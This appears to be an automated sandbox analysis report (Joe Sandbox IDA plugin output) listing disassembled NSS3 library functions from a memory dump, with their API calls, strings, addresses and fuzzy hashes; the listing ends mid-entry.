Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 589604ec9ab1b208abaa37a3498a7e9ff1b97b34a10d266dd70363e9a8b78d10
Instruction ID: 327aaa53e6582a2bd4522d8aa549ed7ed2f4a163eee0add4f33596f7cfe39fdb
Opcode Fuzzy Hash: 589604ec9ab1b208abaa37a3498a7e9ff1b97b34a10d266dd70363e9a8b78d10
Instruction Fuzzy Hash: 6B116075900304E7E710BB69AC84BBBB374AF8160CF050929E86562E41FF61B91D8DDF

Function 6C6A0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C582357), ref: 6C6A0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C582357), ref: 6C6A0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6A0EE6

Part of subcall function 6C6A09D0: PR_Now.NSS3 ref: 6C6A0A22
Part of subcall function 6C6A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6A0A35
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6A0A66
Part of subcall function 6C6A09D0: PR_GetCurrentThread.NSS3 ref: 6C6A0A70
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6A0A9D
Part of subcall function 6C6A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6A0AC8
Part of subcall function 6C6A09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6A0AE8
Part of subcall function 6C6A09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6A0B19
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6A0B48
Part of subcall function 6C6A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6A0C76
Part of subcall function 6C6A09D0: PR_LogFlush.NSS3 ref: 6C6A0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6A0EFA

Part of subcall function 6C58AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C58AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F2B

Strings

Aborting, xrefs: 6C6A0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C6A0ED9, 6C6A0EE5, 6C6A0F06, 6C6A0F0B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: fb68223516dccef9570da67d733c03502a231607e871b208b5e64495a4b775db
Instruction ID: 8600fdb24b7a7d794db02f37f3b92bb789f5a37fd3a7ac84d11c83489fc8611d
Opcode Fuzzy Hash: fb68223516dccef9570da67d733c03502a231607e871b208b5e64495a4b775db
Instruction Fuzzy Hash: F5F0AFB69002147BDB013BA1DC8AC9B3E7DDF8A364F004424FD0A56602DA76E92596BB

Function 6C604DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C604DCB

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C604DE1

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C604DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C604E59

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6C300C,00000000), ref: 6C604EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C604EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C604F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C60521A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: fb557bb2d85e2d7caf196a2ded9d7110a9e40200ed8725a004323cc874066f4e
Instruction ID: b125c88581ce7acc8f9e3ffabd40f9ef39e493cb7e383e2ed0fbddd00f7a89ff
Opcode Fuzzy Hash: fb557bb2d85e2d7caf196a2ded9d7110a9e40200ed8725a004323cc874066f4e
Instruction Fuzzy Hash: 78F19A71F00209CBDB08CF55D9406AEB7B2BF84318F254169E815AB781EB75E982CB98

Function 6C594FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C6E0148,?,6C5A6FEC), ref: 6C59502A
PR_NewLock.NSS3(00000001,00000000,6C6E0148,?,6C5A6FEC), ref: 6C595034
PL_NewHashTable.NSS3(00000000,6C5EFE80,6C5EFD30,6C63C350,00000000,00000000,00000001,00000000,6C6E0148,?,6C5A6FEC), ref: 6C595055
PL_NewHashTable.NSS3(00000000,6C5EFE80,6C5EFD30,6C63C350,00000000,00000000,?,00000001,00000000,6C6E0148,?,6C5A6FEC), ref: 6C59506D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 071b2653c90f7c7485d24c8add58080bcdb9aadb2b93e4af2e4ce6ec5c00fbaa
Instruction ID: 8cbd22fabe035a7a23898a668074c4668535d8b2b19f212fb2d6981146666c4a
Opcode Fuzzy Hash: 071b2653c90f7c7485d24c8add58080bcdb9aadb2b93e4af2e4ce6ec5c00fbaa
Instruction Fuzzy Hash: 023109B1B062D0ABEF10DA26AC8CB4B37B99B17309F412255E72583640D3348434CFDD

Function 6C532E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C532F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C532FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C533005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5330EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C533131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C533178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C533022, 6C533156, 6C533162, 6C53318A, 6C533196, 6C5331A2, 6C5331AE, 6C5331BA, 6C5331C6
%s at line %d of [%.10s], xrefs: 6C533171
database corruption, xrefs: 6C53316C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 1707c03ae70f21fb0b23a22ab6a300c1c1fa5897fc6afba495414b5d062b1668
Instruction ID: d1c9bf97f350e6107daac766b69143c27ca194e978303bfe515720d3a5062f82
Opcode Fuzzy Hash: 1707c03ae70f21fb0b23a22ab6a300c1c1fa5897fc6afba495414b5d062b1668
Instruction Fuzzy Hash: 2BB1A170E052299BCB08CF9DCC85AEEB7B1BF48304F145429E849B7B45E774E942CBA4

Function 6C582D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C582D69

Strings

winTruncate2, xrefs: 6C582EF8
winSeekFile, xrefs: 6C582E9C
winTruncate1, xrefs: 6C582EBE
@jl, xrefs: 6C582E24
Pjl, xrefs: 6C582E74, 6C582EC5, 6C582F32, 6C582F5C
winUnmapfile2, xrefs: 6C582F7F
winUnmapfile1, xrefs: 6C582F55
jl, xrefs: 6C582DD0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: __allrem
String ID: @jl$Pjl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$jl
API String ID: 2933888876-3226712564
Opcode ID: dce93c526f05f1f02549ddba000c313aed79cdd34d679c9112e570a9c6336abd
Instruction ID: df8f1e012bd589f660b949a774badc351ad2576e765e81307942bd14cd820dcf
Opcode Fuzzy Hash: dce93c526f05f1f02549ddba000c313aed79cdd34d679c9112e570a9c6336abd
Instruction Fuzzy Hash: 8961DF71B012149FDB44CF69DC88A6A7BF1FF4D314F108629E9199BB90DB31AC06CB99

Function 6C607F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C607FB2

Part of subcall function 6C58BA40: TlsGetValue.KERNEL32 ref: 6C58BA51
Part of subcall function 6C58BA40: TlsGetValue.KERNEL32 ref: 6C58BA6B
Part of subcall function 6C58BA40: EnterCriticalSection.KERNEL32 ref: 6C58BA83
Part of subcall function 6C58BA40: TlsGetValue.KERNEL32 ref: 6C58BAA1
Part of subcall function 6C58BA40: _PR_MD_UNLOCK.NSS3 ref: 6C58BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C607FD4

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

Part of subcall function 6C609430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C609466

PR_ExitMonitor.NSS3(?), ref: 6C60801B
PR_EnterMonitor.NSS3(?), ref: 6C608034
TlsGetValue.KERNEL32 ref: 6C6080A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6080C0
PR_ExitMonitor.NSS3(?), ref: 6C60811C
PR_ExitMonitor.NSS3(?), ref: 6C608134

Strings

), xrefs: 6C6080DB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 6c87cdda1cda559978b6272e02c5cb90a4f86c4e33ec668c21c51cc4e12ae031
Instruction ID: a626fd6f93e861ad9a9320ddc2c0517d36803ef1aa9089589ccd4ef5dda16b41
Opcode Fuzzy Hash: 6c87cdda1cda559978b6272e02c5cb90a4f86c4e33ec668c21c51cc4e12ae031
Instruction Fuzzy Hash: 1D514571B047059BE714DF34DE017EB77B0AF4A30CF04052AD95A62A62EB31A918CB9E

Function 6C5AFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C5AFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C5AFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C5AFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5AFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C5AFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C5AFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C5AFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AFD84

Strings

:, xrefs: 6C5AFD78

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: ea98fc1ac1759037e271f2ba063c94fa54049746f3b8d5b69ae1d981d02a2b70
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: AA31F4B2D002059BEB018BE6DC45BAF77A8AF55318F150635DC14A7B00E772E91AC7E6

Function 6C590F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C590F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C590F84

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C5AF59B,6C6B890C,?), ref: 6C590FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C590FC1

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C590FDB
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C590FEF
PL_FreeArenaPool.NSS3(?), ref: 6C591001
PL_FinishArenaPool.NSS3(?), ref: 6C591009

Strings

security, xrefs: 6C590F5C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: fc047518e0a0ad25147aaa51c124174101de4ff64ba4db6d31600a3f714fcc0d
Instruction ID: d4aea4af72bf871a3e7e41998856e573852f8832dabfc5b57bcc7f211ac530c8
Opcode Fuzzy Hash: fc047518e0a0ad25147aaa51c124174101de4ff64ba4db6d31600a3f714fcc0d
Instruction Fuzzy Hash: AA2106B1904344ABE7009F24DC81AABB7B4EF8925CF048519FC2897601FB31DA1ACF96

Function 6C596DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C597D8F,6C597D8F,?,?), ref: 6C596DC8

Part of subcall function 6C5EFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C5EFE08
Part of subcall function 6C5EFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C5EFE1D
Part of subcall function 6C5EFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C5EFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C597D8F,?,?), ref: 6C596DD5

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6B8FA0,00000000,?,?,?,?,6C597D8F,?,?), ref: 6C596DF7

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C596E35

Part of subcall function 6C5EFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C5EFE29
Part of subcall function 6C5EFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C5EFE3D
Part of subcall function 6C5EFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C5EFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C596E4C

Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6B8FE0,00000000), ref: 6C596E82

Part of subcall function 6C596AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C59B21D,00000000,00000000,6C59B219,?,6C596BFB,00000000,?,00000000,00000000,?,?,?,6C59B21D), ref: 6C596B01
Part of subcall function 6C596AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C596B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C596F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C596F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6B8FE0,00000000), ref: 6C596F6B
PR_SetError.NSS3(FFFFE005,00000000,6C597D8F,?,?), ref: 6C596FE1

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: a677f13e3502e05e55b0ad0cc4bb17173cc7f7b6fc7fb3c57a9a02719cdd561a
Instruction ID: 36ec2242e5c29a26dd0d483aedce9e858af652606e17a64540549390238171a9
Opcode Fuzzy Hash: a677f13e3502e05e55b0ad0cc4bb17173cc7f7b6fc7fb3c57a9a02719cdd561a
Instruction Fuzzy Hash: 9A718F71D107869BDB40CF15CD40AAABBA8BF94348F154269E818D7B11FB70EA98CBD0

Function 6C5D0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5D1085
PK11_GetAllTokens.NSS3 ref: 6C5D10B1
free.MOZGLUE(?), ref: 6C5D1107
PR_SetError.NSS3(00000000,00000000), ref: 6C5D1172
free.MOZGLUE(?), ref: 6C5D1182
free.MOZGLUE(?), ref: 6C5D11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C5D11C5

Part of subcall function 6C5D52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C5AEAC5,00000001), ref: 6C5D52DF
Part of subcall function 6C5D52C0: EnterCriticalSection.KERNEL32(?), ref: 6C5D52F3
Part of subcall function 6C5D52C0: PR_Unlock.NSS3(?), ref: 6C5D5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5D11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5D11F3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 3fffb7704d47f7ca0e982670ad3813204209ee51770a353db50ca38a3e1e2e97
Instruction ID: e1916624dc5977688d797003ee7710540d3905d4a526c01621f612ff4a6b15fa
